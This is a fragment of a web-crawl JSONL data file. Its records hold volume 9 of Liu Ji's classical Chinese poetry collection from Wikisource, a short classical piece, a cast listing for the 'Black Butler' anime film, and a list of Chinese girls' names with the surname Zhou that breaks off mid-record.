+{"text":"劉基集\/09卷\n|卷八 ◄||劉基集\n\n\n卷九\n|► 卷十|\n\n\n卷九编辑\n賦编辑\n鮮余生之眇眇兮,荷後皇之深仁。具五氣以成形兮,受明命而為人。體乾坤之粹精兮,晞日月之景光。漱飛泉之華滋兮,浥灝露之醇英。制杜蘅以為衣兮,藉茝若之菲菲。佩琳璆之玲瓏兮,帶文藻之葳蕤。朝濯髮於蘭池兮,夕偃息乎瓊苑。願馳鶩以遠遊兮,及白日之未晚。駕輕軺之將將兮,服蒼虯之瀼。遵大路以周流兮,曳虹霓之委蛇。挾長離而乘鵷兮,款閶闔之九門。豐隆為余先導兮,百靈為余駿奔。前燭陰以啟途兮,揚凱風使清埃。覲北斗於文昌兮,朝玉皇於帝台。食玄圃之丹荑兮,澡天潢之芳津。激微焱於桂枝兮,輕波起而龍鱗。清都不可以久留兮,忽乘雲而遐徵。\n浮江湖之浩溔兮,陵山嶽之崢嶸。野莽蒼以多榛兮,路險隘而紆曲。猰渼貐炰烋而攫噬兮,蝮蛇蜿蜒以當陸。鬱忡忡以怵惕兮,筭皇皇以營營。雨淫淫而不止兮,霧黯黯以晝冥。烏鳶號以成群兮,鳳孤棲而無所。楚屈原之獨醒兮,眾皆以之為咎。欲振迅以高舉兮,無六翮以奮飛。將抑志以從俗兮,非余心之所怡。長太息以增欷兮,哀時世之異常。棄韶夏而非聽兮,登僸佅於中堂。芼軒於以和羹兮,醃鮑魚而實俎。斫楩楠以給爨兮,束荊棘而為柱。施罾綍於丘陵兮,怨魴鯉之弗獲。虎兕逸於山林兮,循戶庭以求索。前蒙瞍以指途兮,疆楊子使操轅。命侏儒令舉鼎兮,刖都盧使守閽。歲冉冉而將頹兮,日曖曖以就昧。松柏摧而根死兮,江河化而為澮。秣余馬於不周兮,整余轡於樊桐。無蓍龜以決疑兮,迷不知余所從。\n摶扶搖以為輿兮,攬列缺以為輈。驂青鸞之茇茇兮,超煙靄而上浮。梁天津以濟河兮,睇紫微之神闕。開明怒目而電視兮,貔豹吼而山裂。進無人以為之先容兮,欲自獻而不敢。氣勃鬱以憑中兮,心惻傷以憯懍。過少微而歷明堂兮,就軒轅而陳情。雷霆砰其隱轔兮,馬辟易而不行。訪六符於泰階兮,求民極之所在。咎繇不可以作兮,競狂直以為罪。淩天街以徑度兮,造旬始而瞻西清。眾畏讒而卷舌兮,孰能白予之忠誠?怊愮其無止兮,默悄悄以狐疑。要傅說於箕尾兮,命靈龜使占之。曰有名必有實兮,若形影之相因。相福極出自天兮,又何尤乎世之人!鼎胡峙而不烹兮,旗胡張而弗麾。弧不可以射侯兮,駟不可以策而馳。眾蠕蠕以朵頤兮,若頹波之東趍。謂翬翟為弗章兮,愛羸豕之負塗。方不可刓而規兮,白不可涅而黑。悲桂椒之芬芳兮,與朝菌而偕落。殷比干之剖心兮,時豈不知其為聖人?魯仲尼之過化兮,焉役役而無所容其身!由強義而罹殃兮,惠直道而被黜。子胥忠而殞命兮,伯夷清而不食。將登山而迷路兮,欲涉水而無航。東西南北安所之兮?顧焉擇其所長。\n神冥冥而不下兮,龜又厭而弗告。思糾結而不抽兮,意恍惚以震悼。忽濫泛以遐舉兮,行遊目於大荒。羲和不可扳而留兮,恐年歲之弗將。駕廣漠而南征兮,叫重華於九疑。山岑岑以蔽天兮,江淼淼而不可窺。吾道夫西陲兮,聽鳴鳳於岐陽。慨禾黍之離離兮,梧桐摧而不生。浮龍門以溯河兮,訪夏後之遺跡。川瀆混而不分兮,鯨鯢起而人立。攬轡而回芃兮,謁陶唐之舊京。無衣裳以禦寒兮,哀蟋蟀之悲鳴。心悢悢以增傷兮,神夢夢其若醉。淚落落以交流兮,憂湛湛而來會。傅說之版築兮,無武丁其誰舉?夷吾不逢夫鮑叔兮,竟淪沒於囹圄。推竭心以服勤兮,上介山而立枯。種霸越而滅吳兮,終刎頸於屬鏤。樂毅升於金台兮,何遁逃而走趙?周條侯之耿介兮,卒含怨以餓饣孚。忠有蔽而不昭兮,道有塞而不行。名不可而立兮,功不可期而成。李斯上書以相秦兮,空自陷於罪尤。買臣顯而壒辱兮,豈如負薪之無憂!魚赴餌以中鉤兮,雉慕媒而膺鏑。鳳凰翔於丹穴兮,又何患乎矰弋!\n返余旆之旖旎兮,還余車之轔轔。采薇蕨於山阿兮,擷芹藻於水濱。列玄泉以瑩心兮,坐素石以怡情。聆嚶鳴之悅豫兮,玩卉木之敷榮。挹清風之泠泠兮,照秋月之娟娟。登高丘以詠歌兮,聊逍遙以永年。\n天地閉塞兮,聖賢隱淪。大旱焦土兮,龍無所用其神。當運命之厄窮兮,堯舜且猶有極。委厥軀以隨化兮,亦哲人之所戚。彼狂猾之縱悖兮,履羿莽以滔天。亂倫汩典兮,流毒為淵。夏少康之不作兮,時又無湯與武。蕨薇不可以食兮,焉睘睘而獨處。眷三顧之凝悃兮,蹠高光之所為。鳳凰非梧桐不棲兮,於嗟去此其安歸?瞻星芒於渭濱兮,豈皇天之叛渙!日昃不可使再中兮,指桓靈而慨歎。昔尼父之不逢兮,寓斧鉞於《春秋》。誅奸邪於既死兮,開日月之昧幽。般紛紛以攘奪兮,世不以之為殃民。彝泯滅猶一發兮,微斯人其孰明?覽出師之遺表兮,涕淫淫其如雨。悲逝者之不回兮,邈英風於萬古。\n汙池汀濘兮,蛙黽樂之。大鵬天遊兮,燕雀謂女奚為?狐狸冠裳兮,梟獺堂宇。支離節疏兮,側身無所。嗚呼將軍兮,管葛之倫。遭逢庸愚兮,有志莫伸。委棄九鼎兮,烹飪瓦釜。截梁為杙兮,束椽為柱。偭背泰山兮,依倚培。圭璋碔砆兮,沙礫瓊玖。山陵暴骨兮,社稷黍離。故臣酸嘶兮,行人涕洟。臥薪嘗膽兮,此維時矣。宣光不作兮,籲其悲矣!烏號之徹劄兮,無養由以操之。驊騮不逢伯樂兮,與駑駘而並馳。\n系曰:龍噓而雲兮,夫豈不能自翔?鴻鵠舉翮而千里兮,又何必懷此鄉!魚游思故淵兮,鳥棲思故林。吾固知將軍之不忍兮,惜庸夫之無心。日曖曖以西傾兮,時靡靡而就逝。雁鶩群而喋呷兮,鸞鳳反為所制。世治亂之有數兮,天亦無如之何也。匪將軍之不能兮,惜不幸而逢此時也。死有重於泰山兮,繫生民之休戚。吾獨悲夫將軍兮,仰玄穹而太息!\n木之顛兮,其根必傷。人之將死兮,俞扁以為不祥。嗚呼!將軍夫何為哉?天地易位兮,江河倒流。鳳凰夭殈兮,豺狼冕旒。臣不知有其君兮,子不知其有父。嗚呼!將軍兮獨銜冤,而懷苦讎。何愛而可親兮,忠何辜而可戮。父兄且猶不顧兮,何忠良之能育。臣竭心以為主兮,又何可以為仇也。天之所廢不可植兮,亦將軍之尤也。烏傷弓而欲殞兮,群啞啞而拊翼。猿狖縻于機檻兮,羈悲鳴而不食。相伊人之有心兮,曾鳥獸之不如。忘戴天之大恥兮,安峻宇而高居。信讒邪之矯枉兮,委九廟於狐狸。甘卑辭以臣妾兮,苟殘喘以娛嬉。焚舟楫於洪流兮,烹驊騮於中路。庸夫亦知其至愚兮,羌獨迷而弗寤。捐薄軀以報主兮,乃忠臣之素心。縱狂瞽之弗思兮,又何必以之為禽。屈原貞而見逐兮,伍子忠而獲戾。固將軍之不辰兮,哀中原之蕪穢。弔孤墳於湖濱兮,見思陵之牛羊。寄遙情於悲歌兮,識忘親之不臧。\n世有作忠以致怨兮,曾不知其故然。懷先生之耿介兮,遭時命之可憐。上壅蔽而不昭兮,下貪婪而不貞。權不能以自制兮,謀不能以獨成。進欲陳而無階兮,退欲往而無路。忠沉沉而不白兮,心搖搖而不固。縶乘黃服鼓車兮,驂蹇驢以曳之。罥猛虎於籠檻兮,狐狸群而制之。眾刻木之枉直兮,信讒邪之流言。倒裳以為衣兮,涅素以為玄。前宕冥令指途兮,驅離婁使從之。教養由以彎弧兮,繫其肘而引之。吁嗟先生兮,何逢時之不辰!生不能遂其心兮,死又抑而不伸。奸何為而可長兮,忠何為而可尤。尸比干而獎惡來兮,白日為之昧幽。\n重曰:嗚呼哀哉!吾安歸乎!猰貐升堂兮,騶虞以為妖。殪鳳凰而斫麒麟兮,糜粱肉以養梟。吠狗遭烹兮,捕貓蒙醢。雄雞晨鳴兮,眾以為罪。忠固不求人知兮,於先生其何傷!國有忠而不知兮,喟皇天之不祥。\n辭曰:莽莽崇丘,闃無人兮。天高聽遐,疏不得親兮。松柏摧折,荊棘長兮。軒於綠葹,充佩厓兮。浮雲虹霓,紛縱橫兮。上下阻隔,幽不能明兮。嗟若先生,卒罹殃兮。奸邪矯枉,歸罪愆兮。咎繇不作,誰與平兮?蹠犬噬堯,理則然兮。麒麟豺狼,不同群兮。自古有之,吾又何嗟兮!\n余山居樹群木,嘉果駢植,人事錯迕,斤斧不修,野鳥棲息,糞其上,茁異類,日夕滋長,舊本就悴,余睹而悲之。乃募趫揵,腰斧鑿,升其巔,剜條剔根,聚其遺而燔之。於是老幹挺立,新荑濯如,若瘡瘍脫身,大姦去國。斧鉞之時用大矣哉!作《伐寄生賦》。\n天生五材兮,資土而成。汝獨何為兮,附麗以生!疣贅蛭嘬兮,枝牽蔓縈。瘠人以肥己兮,偷以長榮。狀似小人之竊據兮,謂城社之可憑。觀其陰不庇物,材匪中器,華不羞於几筵,實不諧於五味。來烏鳥之哤聒,集蟲豸以刺蠔。果被之而實萎,卉蒙之而本悴。壇杏無所容其芬芳,甘棠曷能成其蔽芾!亶無庸而有害,矧眶枿之可置。爾乃建修竿,升木末,運斤生風,以剪以伐。脫纏牽於喬竦,落纖蕤之騷屑。剜蘚膚以除根,斅去毒而刮骨。於是巨蠹既夷,新荑載蕃。迎春而碧葉雲滃,望秋而碩果星繁。信知斧鉞之神用,寧能裕蠱以生患也耶!嗟夫!農植嘉穀,惡草是芟。物猶如此,人何以堪?獨不聞夫三桓競爽,魯君如寄;田氏厚施,姜陳易位。大賈入秦,柏翳以亡;園謀既售,羋化為黃。蠹憑木以槁木,奸憑國以盜國。鬼居肓而人殞,梟寄巢而母食。堅冰戒乎履霜,羸豕防其躅躑。諒前轍之昭昭,何人心之自惑!故曰:非其種者,鋤而去之,信斯言之可則。\n龍虎台去京師相遠百里,在居庸關之南。右接太行之東,地勢高平如台,背山而面水。每歲車駕行幸上都,往還駐蹕之地,以其有龍盤虎踞之形,故名耳。\n猗歟太行之山,呀雲豁霧,結元氣而左蟠。於赫龍虎之台,摩乾軋坤,魁群山而獨尊。其背崔嵬突嵂,森岡巒而拱衛。其勢則昆侖,仰星辰之可捫。白虎敦圉而踞峙,蒼龍蜿蜒而屈盤。狀昂首以奮角,恍飆興而雲屯。其北望則居庸[B18D]嵲,煙光翠結,攢峰列戟,斷崖立鐵。晙烏飛而不度,古木以相掣。其下視則漲海衝瀜,飛波洗空。風帆浪舶,往來莫窮。想瀛洲之密邇,睇三山之可通。彼呼雁戲馬,適足彰其陋;而眺蟾望屋,曷足逞其雄!豈若茲台之不事乎版築,而靡〈(一作縻)〉勞乎土功也。\n想其嶔嶺碕礒,曼衍迤邐,形高勢平,背山面水。巨靈獻其幽秘,歸邪護其光晷。何嵩華之足吞,豈岱宗之可擬!此所以通光道於上都,揭神京之外壘。匪松喬之敢登,羌乘輿之攸止也。至若四黃既駕,鹵簿既齊。方玉車之萬乘,蔚翠華之萋萋。載雲罕與九遊,光彩絢乎虹霓。山祗執警以廣道,屏號灑雨以清埃。朝發軔於清都,夕駐蹕於斯台。明四目以遐覽,沛仁澤於九垓。眇軒轅之梁甫,屑神禹之會稽。雄千古之盛典,又何數乎方壺與蓬萊!慨愚生之多幸,際希世之聖明。雖未獲睹斯台之壯觀,敢不慕乎頌聲!遂作頌曰:\n傑彼神台,在京之郊。金城內阻,靈關外包。上倚天猊,下鎮地軸。大行為臂,滄海為腹。崇台峨峨,虎以踞之。群山巃嵸,龍以翼之。於鑠帝德,與台無窮。於隆神台,與天斯同。崇台有偉,鸞駕爰止。天子萬年,以介遐祉。\n騷编辑\n秋風起兮夕露厓,浮雲沉陰兮白日晝寒。木葉落兮水泉乾,孤雁鳴兮淒以酸。攬余轡兮悵盤桓,野蕭條兮行路難。豺狼驕兮狐兔頑,蘭蕙死兮荊棘蕃,我欲奮飛兮無羽翰。援雅琴兮發哀彈,弦斷絕兮涕汍瀾。\n我發種種兮,颯如其稀。我心倀倀兮,忽若有遺。過吾不能改兮,德吾不能知。往者不可悔兮,來者不可期。進無益於世兮,退將安歸?嗚呼已矣兮,吾寧不悲!\n天有田兮,不可以耕。山有龜兮,不可以知咎徵。剡蒿以為梁兮,削菌以居楹。匠石卻走兮,工垂拊膺。登高望遠兮觀四瀛,水東流兮日西傾。般紛紛兮各有營,我獨展轉兮從夜達明。\n風飄飄兮揚塵,野寂寞兮無人。舟何為兮山阿,車何為兮水濱?北望楚兮東望秦,倒江河兮亂星辰。天門窈窕兮重九,願有言兮遠莫陳,虎豹兮為喜為瞋。橫流涕兮瞻蒼旻,心馮噫兮不能伸。麋有角兮龍有鱗,空山寂寥兮吾誰與鄰!\n江無舟兮河無梁,隰有荊棘兮而無稻粱。鷹化鳩兮雀變隼,狸為兮龍為蚓,眷長顧兮情紆軫。九疑高兮禹穴幽,梧桐枯兮鳳不留,山木慘慘兮叫鵂醿,鴻鵠飛兮無所投。雲遝遝兮雨悠悠,孰懷情兮知此愁?\n虎厭肉兮,騶虞苦饑;獺升堂兮,麒麟受羈。黃彝薦滫兮,章甫承綦;箾韶屏棄兮,弦管兜離。指玉以為石兮,削方以為規。天不可問兮,神不可谘。繄彼之是兮,而此之非。有樗在林兮,有櫟在逵。蓍龜孔昭兮,勿遠餘思。\n今夕何夕兮天宇清,步逍遙兮仰觀列星,河漢皎兮北斗橫。悲風發兮候蟲鳴,林鳥起兮沙鴇驚。長夜寥寥兮何人哭?聲愴恍悢兮不忍聽,回身入房兮淚沾纓。蛟虯偃蹇兮豺虎獰,弧無弦兮車說其衡。知不可慮兮誰女令,蹇淹留兮難為情。\n履霜思裘兮,燠則棄之;臨河號舟兮,濟而置之。不網胡魚兮,不弋胡鵠;剪杞梓兮,索灌莽以取木。捕貓乳鼠兮,僉以為仁;吠狗宵警兮,行者怒瞋。彈鸞養梟兮,莫知其咎;斫冰以承宮兮,曷雲能久!長太息兮有所思,林木動兮巢鳥悲。山有藿兮園有葵,心懷君兮君不知。\n秋天泬漻兮百草黃,蟪蛄悲吟兮朝榮有芳。屣履起兮獨彷徨,心悠悠兮懷故鄉。原有粟兮隰有禾,桂花紅兮蘭紫芽。涼風動兮松柏馨,流潦落兮水泉清。蔬可茹兮秫可酒,集鄉里兮會親友。坐白石兮蔭蒼筠,玩明月兮思古人。魚歸淵兮狐首丘,終餘生兮安所求!\n秋日慘淡兮,秋風其颸。白露既下兮,繁霜繼之。檗離其根兮,葉脫其枝。豐者黝顏兮,柔者就萎。登高望遠兮,涕泗滂沱。松柏稀少兮,蒲柳何多!露不盈條兮,霜晨以晞。歲晏玄冰兮,知將奈何!\n山高高兮可以望四荒,胡躋爾顛兮而不見我故鄉。歲雲莫兮無衣裳,車罷馬羸兮僕夫頓僵。水有蛟鱷兮陸有虎狼,於嗟奈何兮惟懷永傷!\n彼松之高兮,矯吾以其操兮。此竹之節兮,耿吾以其潔兮。露溥溥兮宵明,煙霏霏兮曉清。風聲我琴兮,鳴鸐我笙。淄胡為兮我衣,塵胡為兮我纓?颼兮兮窈以幽,驂青鸞兮服蒼虯。吾與元氣兮升降,與雲霞兮綢繆。逍遙兮相羊,終吾生兮樂以忘憂。\n江之水兮悠悠,深有狖鯉兮淺有鯊與躭。檜為楫兮松為舟,其釣伊緡兮人誰女尤!江之水兮娟娟,蒹葭吟風兮楊柳含煙。有鮪在穴兮有魴在淵,其釣伊絲兮人誰女愆!江之水兮浪浪,泳之沄沄兮浮之洋洋。有魚與蝦兮可釣以網,無遐爾思兮人誰女傷!\n我馬飽粟兮,彼食不選秕糠。我麥滿舟兮,彼無以送其死亡。我忽見兮,哀不能忘。推以與之兮,我心乃康。我聞在昔兮,有虞夏商。一夫百畝兮家有稻與粱,生不餓殍兮死有藏。嗚呼今不得見兮,使我心傷!\n山陰王景回友樵齋辭编辑\n稻粱離離兮,稂莠驕驕。麒不可以偶狼兮,鳳不可以侶梟。求羊無人兮,鍾子寂寥。哀風觱發兮,原野蕭條。四顧彷徨兮,憂心且焦。若有人兮在山椒,攜糧負薪兮嘯歌以遨。黜陟無聞兮,寵辱不搖。嗚呼吾爾群兮,去無待子招!臨流泉兮倚逍遙,無斤我松兮無使柏也凋。\n柳橋漁唱二首為黃中立作编辑\n春風淡淡兮湖水波,柳乘橋兮青煙滿莎。扣子舷兮發長歌,靡白蘋兮亂鴐鵝。前有蛟兮後有鼉,予往予還兮吁予奈何!\n彼湖有波兮此橋有柳,我維我舟兮聊以搔我首。放歌逍遙兮哀莫予偶,有籜在罾兮有沙在,逝者滔滔兮羌不可以久。綠蘋兮菲菲,落花兮點衣。江無津兮海無涯,嗚呼寂寥兮吾誰與歸!\n獲麟操编辑\n有獸維麟兮,獵者獲之。折肢毀膚兮,曾不如鹿與麋。嗚呼哀哉兮,爾何生於此時?周公已矣兮,吾能不悲!\n在陳操编辑\n彼山有楊兮,彼隰有栩。彼路斯何兮,孔棘且阻。玄雲杳冥兮,不日以雨。重華寂寥兮,誰與晤語?茫茫九州兮,孰為予所?龜蒙無人兮,駕予歸處。\n白雲歌為良上人作编辑\n用貞上人以「白雲隱居」名其舍,蓋取諸唐狄公之言,以寓其思親之意。栝蒼劉基為之歌曰:\n青山兮翠微,白雲兮孤飛。悵遊子兮遠於離,不如雲兮倏往而歸。白雲兮容與,青山兮欲雨。懷予親兮在雲之下,雲兮雲兮歸予從女。\n秋山圖歌编辑\n秋風起兮蕭蕭,望青山兮寂寥。水泠泠兮出石,葉槭槭兮辭條。氣淒淒兮就寒,夜耿耿兮不朝。鳳凰兮安之?梧桐兮早凋!思美人兮隔江河,玄雲冥兮天路遙。托宵夢兮遠徂征,款扶桑兮倚消遙。盻青兮不來,愴恍悢兮魂屢飄。願乘風兮絕浮雲,要洪崖兮訪子喬。高無梯兮深無航,黿鼉陸梁兮虎豹驕。歸來兮歸來,紫芝有荑兮黃精有苗。\n梁孝子廬墓詞(並序)编辑\n梁君天民思其父母而廬於墓,將終身焉。夫廬墓,非古禮也。然人子之情有不能已而自我為之,君子不非焉。或乃狀其景物而詠歌之,則悖於禮,而非孝子之本心矣。故為之作楚語,使梁君聞之,必愀然悲曰:「他人有心,予忖度之」,夫子之謂也,不其庶乎?其詞曰:\n陟彼岵兮望父,陟彼屺兮望母。若儀容兮在前,恍音聲兮在後。陟彼屺兮望母,陟彼岵兮望父。惝恍惘兮無聞,心搖搖兮愁苦。聞空廬兮山之巔,朝松有嵐兮暮蘿有煙。其下維地兮其上維天,食思寢思兮以日以年。嗚呼魂乎其有知兮,矢相從於九泉。\n送龍門子入仙華山辭(並序)编辑\n龍門先生既辭辟命,將去入仙華山為道士,而達官有邀止之者。予弱冠嬰疾,習懶不能事,嘗愛老氏清淨,亦欲作道士,未遂。聞先生之言,則大喜,因歌以速其行。先生行,吾亦從此往矣。他日道成為列仙,無相忘也。其辭曰:\n青山崔嵬兮,煙雲杳冥。回溪鬱紆兮,岩谷晦明。修篁雜樹兮相蔽虧,洞壑窈窕兮人不知。清猿警夜兮鶴報晨,花開鳥啼兮長如春。隰有芷兮陵有苕,美人不來兮山寂寥。瓊芝兮玉華,丹荑兮翠葩。紫葛兮黃精,礧碨兮鬖篸。蜚梁連蜷兮,登降峛崺。幽漻闃碌兮,敞晃譎詭。芳蘭桂椒兮,或紅或紫。松風澗泉兮,金石盈耳。梧桐萋萋兮,竹實蕊蕊。鳳凰翔鳴兮,五色卉煒。望美人兮翠微,空山寂寥兮遲爾來歸。霓為衣兮霞為裳,飲沆瀣兮食瑤漿。晞正陽兮澡淪陰,精神完兮毛髮香。握六符兮躡九靈,被颻雲兮歌洞章。御扶搖兮款天門,詣北斗兮覲虛皇。超鴻濛兮軼希夷,造無始兮逍遙矣。召秦女兮吹簫,使湘娥兮彈絲。洪崖嘯歌兮,王母啟齒。萬舞齊進兮,襟佩颯颻。長離前驅兮,鸞鳥為使。蒼龍瀼兮,白虎豸豸。雷公磅硠兮,列缺旭虺。登明堂兮絕河津,上閣道兮攀勾陳。過三危兮繞玄冥,出太微兮入西清。憩牛渚兮泛靈槎,乘回飆兮以還家。美人兮歸來,山中兮其樂無涯。\n王彥中哀辭编辑\n王氏二子者,故宋給事中信之□世孫也。長曰鍾,字彥中;次曰錡,字彥和。是同母一乳而生二子焉。及長,俱好學,能文詞。至正癸巳,其長以春秋經魁鄉貢次榜,行省銓授建德路學錄。未幾,以力學得疾,至丁酉四月卒。鄉人咸痛惜之,蓋期其成而不意止於斯也。其弟悲哭,不能自勝。於是元帥石末公聞之,為詩以吊且唁,而劉基為文以哀之。其辭曰:\n朝出兮雁行,暮歸兮相將。聯彩服兮上高堂,棣華茂兮親樂康。忽秋霜兮夏零,淒風發兮凋紫荊。同氣兩身兮一死一生,車隻其輪兮嗟何以行!窈窈兮愔愔,想形容兮不可尋。飲泣兮吞聲,恐慈親兮傷心。俯重泉兮永隔,掩此哀兮何極!盡禮事生兮恪恭子職,是謂孝友兮死者瞑目。\n|卷八||◄||↑返回頂部||►||卷十|","id":"","dump":"CC-MAIN-2020-29","url":"https:\/\/zh.m.wikisource.org\/wiki\/%E5%8A%89%E5%9F%BA%E9%9B%86\/09%E5%8D%B7","date":"2020-07-05T15:15:26Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-29\/segments\/1593655887360.60\/warc\/CC-MAIN-20200705121829-20200705151829-00400.warc.gz","language":"lzh","language_score":0.441408217,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.4414082169532776, \"cmn_Hani_score\": 0.15314607322216034, \"nan_Hani_score\": 0.08554207533597946, \"zxx_Latn_score\": 0.05100152641534805, \"und_Tang_score\": 0.0317629799246788, \"yue_Hani_score\": 0.01822567731142044, \"und_Xsux_score\": 0.014335570856928825, \"jpn_Jpan_score\": 0.012572144158184528, \"und_Cans_score\": 0.01102275587618351, \"und_Cyrl_score\": 0.010895968414843082}","num_words":64,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.157,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.272,"perplexity_score":500.0,"cluster_detection":1} +{"text":"維庖人之中肯綮兮,奏刀然。若有物以默運其肘兮,故利器排割而彌堅。矧斯文之新發硎兮,淬磨乎仁義之淵。斫月桂兮,高五百丈,剸蛟斷犀兮,奚足言視?一朝解十二牛兮,直遊刃乎吾前。於戲,神哉!使我頭角露崢嶸,相我筆下生雲煙。靡靈旗兮風翩翩,舉天瓢兮酌天泉。","id":"","dump":"CC-MAIN-2020-40","url":"https:\/\/zh.wikisource.org\/wiki\/%E4%BB%A3%E9%85%B9%E8%A7%A3%E6%98%9F%E6%96%87","date":"2020-09-22T01:48:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-40\/segments\/1600400202686.56\/warc\/CC-MAIN-20200922000730-20200922030730-00186.warc.gz","language":"lzh","language_score":0.4955166578,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.49551665782928467, \"cmn_Hani_score\": 0.24901771545410156, \"zxx_Latn_score\": 0.06652742624282837, \"yue_Hani_score\": 0.03254517912864685, \"und_Tang_score\": 0.021285969763994217, \"jpn_Jpan_score\": 0.01457379199564457, \"nan_Hani_score\": 0.01388111524283886}","num_words":1,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.154,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.587,"perplexity_score":500.0,"cluster_detection":1} +{"text":"劇情介紹\n動漫《黑執事劇場版:豪華客船篇》由小野大輔 坂本真綾 諏訪部順一 福山潤 大橋賢一郎 杉山紀彰 田村由加莉 山下誠一郎 田中敦子 中田讓治 石川界人 鈴木達央 寺島拓篤 木村良平 前野智昭 遊佐浩二 朴璐美 東地宏樹 梶裕貴 加藤英美裡 藤村俊二 瀨田宏美 宮本茉奈 花藤蓮 增元拓也 榊孝輔 今村一志洋 野坂尚也 阿部藪一 佐原誠 有村百惠 伊波奈奈 君島哲 工藤雅久 高宮彩織 堤義光 西鄉彩香 林翔太 平丸拓實 福原克己 真木駿一 真中琴與 峰晃弘 弓原健史 渡邊奏人 等主演,阿部記之 執導。","id":"","dump":"CC-MAIN-2021-10","url":"https:\/\/itv8.tv\/show\/76766.html","date":"2021-02-27T21:12:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-10\/segments\/1614178359497.20\/warc\/CC-MAIN-20210227204637-20210227234637-00503.warc.gz","language":"lzh","language_score":0.4710665047,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.47106650471687317, \"cmn_Hani_score\": 0.22907766699790955, \"jpn_Jpan_score\": 0.1736798733472824, \"yue_Hani_score\": 0.0943678617477417, \"nan_Hani_score\": 0.024014560505747795}","num_words":48,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.227,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.402,"perplexity_score":500.0,"cluster_detection":1} +{"text":"周子媛周鸿辰周孝涵周子彧周思涵周嘉帆周鲡熙周奕雯周睿雅周雅涵周晨瑜周珂珊周雪非周雨淇周云芸周晨萌周文涵周思政周思柔周奕畅周心畅周昱伟周梦淋周银涵周熙巍周嘉馨周艾涵周一懿周紫馨周梦君周楚菲周梓婕周佳娴周子蓁周栩雅周璀琪周如思周清宣周曦艺周涵玲周雅馨周柯伊周笳艳周彦斐周梓诺周雨彤周欣芯周睿希周瑾琳周榕涵周婧静周萤玎周初怡周梓涵周溪露周懿燕周馨火周一菡周瑞贝周琰蓓周伊瑶周思涵周欣睿周家汗周梓菡周素欣周梓颖周茜文周严茵周思雨周梓屹周晓涵周丹欣周语琪周风希周紫香周雪竹周欣歆周孜婷周钰轩周桂彤\n100分最好听周姓女孩子名字?\n周汇寅 周昕昕 周嘉馨 周冰雪 周漫妮 周可韾 周丽怡 周嘉思 周梦思 周梦诗 周思嘉 周僮 周同 周潼 周瞳 周雨晨 周子毅周春名 周春明 周芸熙 周钰珍 周钰珊 周茹鑫 周雯怡 周文怡 周汶怡 周希怡 周汶希 周晓静 周静怡 周宝怡 周慧敏 周心怡周婉群 周芷柔 周嘉慧 周爱云 周宏久 周一涵 周秀秀 周秀格 周艳莲 周凯 周佳逸 周子樱 周樱婷 周佳琦 周玉姣 周芮㬢 周子倩 周琳琳 周司然 周芯蕊 周晓雨 周可 周依桐 周奕馨 周奕朵 周奕伊朵 周奕伊 周奕涵 周奕啧 周旭 周江英 周子荷 周荷子 周紫荷 周欢 周旋娜 周璇娜 周漩娜 周轩娜 周婧涵 周可敏 周雨斐 周文清 周文春 周为 周紫明 周姝晗 周姝凝 周信英周文秀 周家禾 周子贤 周悦依 周妦 周鳯 周彧 周梓菡 周羽佳 周羽丰 周昕羽 周刘栩文 周栩文 周羽文 周贝贝 周馨羽 周羽馨 周羽欣 周周芸 周禹庭 周科伟 周蕊芯 周成骏 周辰骏 周比奥 周家富 周煜珊 周德芳 周翠 周渊 周子璎 周宜荣 周航宇周怡燃 周珺琛 周秀云 周思滢 周思莹 周国章 周予釩 周俞釩 周釩俞 周鱼釩 周梦釩 周思龙 周忠艳 周一诺 周若之 周绍香周雅涵 周骁芮 周晓芮 周筱芮 周菡 周芮菡 周妙衡 周衡 周靖衡 周靖 周云潇 周怡涵 周美彤 周美言 周倚同 周淑雅 周奕欣周辰悦 周辰瑞 周辰芮 周晨芮 周芮辰 周芮晨 周淦标 周刚伟 周珺妍 周欣宇 周彩萍 周采薇 周依萍 周依茹 周茹依 周筱茹周顺 周顺琪 周芮茵 周琴琴 周亦晗 周晗 周予晗 周梦雅 周兰 周修兰 周苑 周柔辛 周亚彤 周红妞 周群 周茗彤 周若曦 周雨彤 周思辰 周若彤 周治彤 周悠然 周鑫雨 周依伶 周焕晴 周子越 周木易 周雨晴 周佩荣 周心妍 周心牌 周风财 周喆 周诗诗 周紫菡 周婉芮 周诗芮 周婉蕙 周诗凝 周芮凝 周筠凝 周蔚凝 周艾凝 周蓓凝 周凝蓓 周婉凝 周伟芳 周文倩 周妤萌 周淼淼 周淼淼 周紫瑄 周才平 周晶瑕 周金瑕 周燕霞 周衍霞 周锦菡 周金霞 周雪薇 周梓芸 周佳轩 周冰倩 周晋晋 周松燕 周美玲 周紫函 周玉英 周紫媛 周玉媛 周丽媛 周子煜 周振 周梓 周舞熙 周女熙 周剑 周子熙 周小红 周沛芝 周芷倩 周佩雯 周佩雯 周淼漫 周淑贤 周沛雯 周永森 周洁颖 周俊彤 周语馨 周根弟 周瑞云 周瑞雨 周成武 周香寒 周敏聪 周易阳 周宣 周杨周思聪 周冲 周泳润 周玉鹅 周晓诗 周紫微 周紫瑶 周雨淋 周笑笑 周诺浠 周畅畅 周新雨 周歆艺 周心宜 周弈彤 周穆晞 周幕晞 周优璇 周婵 周安安 周宇飞 周小枫 周柯 周艺琳 周涛 周炯辉 周沫 周姝研 周锦浠 周楣 周爱诗 周晓兰 周美清 周思歆怡 周钰琪 周诗卿 周艺轩 周秀燕 周韵 周子凯 周文峰 周雨后 周羽乔 周语思 周月乔 周昕悦 周昕怡 周周雯 周周琪 周菊花 周淑涓 周淑欣 周淑琳 周淑婷 周淑瑜 周淑媛 周淑茵 周淑敏 周淑玟 周淑雯 周丽冬 周奕辰 周嘉泽 周卫国 周亿涵 